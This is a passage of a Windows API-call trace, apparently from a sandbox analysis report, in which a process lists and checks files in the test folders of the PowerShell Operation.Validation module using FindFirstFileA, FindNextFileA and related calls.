(x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\test\\modules\\example1.diagnostics\\diagnostics\\simple\\example1.diagnostics.tests.ps1")) returned 0x20 [0230.952] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x325f2f0 | out: hHeap=0x2ad0000) returned 1 [0230.952] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38815b8 [0230.952] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\Diagnostics\\Simple\\Example1.Diagnostics.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\Diagnostics\\Simple\\Example1.Diagnostics.Tests.ps1", lpFilePart=0x9bada4*="Example1.Diagnostics.Tests.ps1") returned 0xb4 [0230.952] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0230.952] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\*.*", lpFindFileData=0x9bac50 | out: lpFindFileData=0x9bac50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc71143e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baa0c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f76d0 [0230.953] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9bac50 | out: lpFindFileData=0x9bac50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc71143e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baa0c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.953] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9bac50 | out: lpFindFileData=0x9bac50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc711adb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baa0c, dwReserved1=0x73013d47, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 1 [0230.953] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9bac50 | out: lpFindFileData=0x9bac50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc711adb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baa0c, dwReserved1=0x73013d47, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 0 [0230.953] FindClose (in: hFindFile=0x10f76d0 | out: hFindFile=0x10f76d0) returned 1 [0230.953] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\test\\modules\\example2.diagnostics\\1.0.1")) returned 0x10 [0230.954] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac04e8 | out: hHeap=0x2ad0000) returned 1 [0230.954] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\*.*", lpFindFileData=0x9babb0 | out: lpFindFileData=0x9babb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc711adb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba96c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7490 [0230.954] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9babb0 | out: lpFindFileData=0x9babb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc711adb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba96c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.954] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9babb0 | out: lpFindFileData=0x9babb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7122ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba96c, dwReserved1=0x73013d47, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1 [0230.955] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9babb0 | out: lpFindFileData=0x9babb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x9ba96c, dwReserved1=0x73013d47, cFileName="Example2.Diagnostics.psd1", cAlternateFileName="")) returned 1 [0230.955] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9babb0 | out: lpFindFileData=0x9babb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x9ba96c, dwReserved1=0x73013d47, cFileName="Example2.Diagnostics.psd1", cAlternateFileName="")) returned 0 [0230.955] FindClose (in: hFindFile=0x10f7490 | out: hFindFile=0x10f7490) returned 1 [0230.955] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Diagnostics" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\test\\modules\\example2.diagnostics\\1.0.1\\diagnostics")) returned 0x10 [0230.955] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334d520 | out: hHeap=0x2ad0000) returned 1 [0230.955] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881558 [0230.956] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Example2.Diagnostics.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\test\\modules\\example2.diagnostics\\1.0.1\\example2.diagnostics.psd1")) returned 0x20 [0230.957] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334c4e8 | out: hHeap=0x2ad0000) returned 1 [0230.957] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38815b8 [0230.957] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Example2.Diagnostics.psd1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Example2.Diagnostics.psd1", lpFilePart=0x9bada4*="Example2.Diagnostics.psd1") returned 0xa2 [0230.957] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0230.957] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Diagnostics\\*.*", lpFindFileData=0x9bab10 | out: lpFindFileData=0x9bab10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7122ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba8cc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7590 [0230.957] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bab10 | out: lpFindFileData=0x9bab10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7122ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba8cc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.958] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bab10 | out: lpFindFileData=0x9bab10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7129b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba8cc, dwReserved1=0x73013d47, cFileName="Simple", cAlternateFileName="")) returned 1 [0230.958] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bab10 | out: lpFindFileData=0x9bab10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7129b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba8cc, dwReserved1=0x73013d47, cFileName="Simple", cAlternateFileName="")) returned 0 [0230.958] FindClose (in: hFindFile=0x10f7590 | out: hFindFile=0x10f7590) returned 1 [0230.958] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Diagnostics\\Simple" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\test\\modules\\example2.diagnostics\\1.0.1\\diagnostics\\simple")) returned 0x10 [0230.958] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36a9de8 | out: hHeap=0x2ad0000) returned 1 [0230.958] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38814b0 [0230.959] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Diagnostics\\Simple\\*.*", lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7129b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7810 [0230.959] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7129b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.959] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dbed8e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97dbed8e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97dbed8e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="Example2.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 1 [0230.959] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dbed8e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97dbed8e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97dbed8e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="Example2.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 0 [0230.959] FindClose (in: hFindFile=0x10f7810 | out: hFindFile=0x10f7810) returned 1 [0230.960] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Diagnostics\\Simple\\Example2.Diagnostics.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\test\\modules\\example2.diagnostics\\1.0.1\\diagnostics\\simple\\example2.diagnostics.tests.ps1")) returned 0x20 [0230.960] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0230.960] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881588 [0230.960] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Diagnostics\\Simple\\Example2.Diagnostics.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Diagnostics\\Simple\\Example2.Diagnostics.Tests.ps1", lpFilePart=0x9bada4*="Example2.Diagnostics.Tests.ps1") returned 0xba [0230.960] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0230.960] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\*.*", lpFindFileData=0x9bac50 | out: lpFindFileData=0x9bac50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7134cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baa0c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f77d0 [0230.961] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bac50 | out: lpFindFileData=0x9bac50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7134cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baa0c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.961] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bac50 | out: lpFindFileData=0x9bac50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc713bd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baa0c, dwReserved1=0x73013d47, cFileName="1.1.1", cAlternateFileName="11D0A5~1.1")) returned 1 [0230.961] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bac50 | out: lpFindFileData=0x9bac50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc715839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baa0c, dwReserved1=0x73013d47, cFileName="2.0.1", cAlternateFileName="20519B~1.1")) returned 1 [0230.961] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bac50 | out: lpFindFileData=0x9bac50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc715839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baa0c, dwReserved1=0x73013d47, cFileName="2.0.1", cAlternateFileName="20519B~1.1")) returned 0 [0230.961] FindClose (in: hFindFile=0x10f77d0 | out: hFindFile=0x10f77d0) returned 1 [0230.962] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\test\\modules\\example3.diagnostics\\1.1.1")) returned 0x10 [0230.962] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0580 | out: hHeap=0x2ad0000) returned 1 [0230.962] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0230.962] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\test\\modules\\example3.diagnostics\\2.0.1")) returned 0x10 [0230.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0ca0 | out: hHeap=0x2ad0000) returned 1 [0230.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881588 | out: hHeap=0x2ad0000) returned 1 [0230.978] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\*.*", lpFindFileData=0x9babb0 | out: lpFindFileData=0x9babb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc713bd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba96c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7710 [0230.978] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9babb0 | out: lpFindFileData=0x9babb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc713bd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba96c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.978] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9babb0 | out: lpFindFileData=0x9babb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7144ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba96c, dwReserved1=0x73013d47, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1 [0230.979] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9babb0 | out: lpFindFileData=0x9babb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7144ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba96c, dwReserved1=0x73013d47, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0 [0230.979] FindClose (in: hFindFile=0x10f7710 | out: hFindFile=0x10f7710) returned 1 [0230.979] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\Diagnostics" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\test\\modules\\example3.diagnostics\\1.1.1\\diagnostics")) returned 0x10 [0230.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334d340 | out: hHeap=0x2ad0000) returned 1 [0230.979] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881570 [0230.979] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\Diagnostics\\*.*", lpFindFileData=0x9bab10 | out: lpFindFileData=0x9bab10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7144ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba8cc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7490 [0230.980] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bab10 | out: lpFindFileData=0x9bab10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7144ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba8cc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.980] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bab10 | out: lpFindFileData=0x9bab10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc714e87, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba8cc, dwReserved1=0x73013d47, cFileName="Simple", cAlternateFileName="")) returned 1 [0230.980] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bab10 | out: lpFindFileData=0x9bab10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc714e87, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba8cc, dwReserved1=0x73013d47, cFileName="Simple", cAlternateFileName="")) returned 0 [0230.980] FindClose (in: hFindFile=0x10f7490 | out: hFindFile=0x10f7490) returned 1 [0230.980] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\Diagnostics\\Simple" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\test\\modules\\example3.diagnostics\\1.1.1\\diagnostics\\simple")) returned 0x10 [0230.986] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36a99f8 | out: hHeap=0x2ad0000) returned 1 [0230.986] RtlAllocateHeap 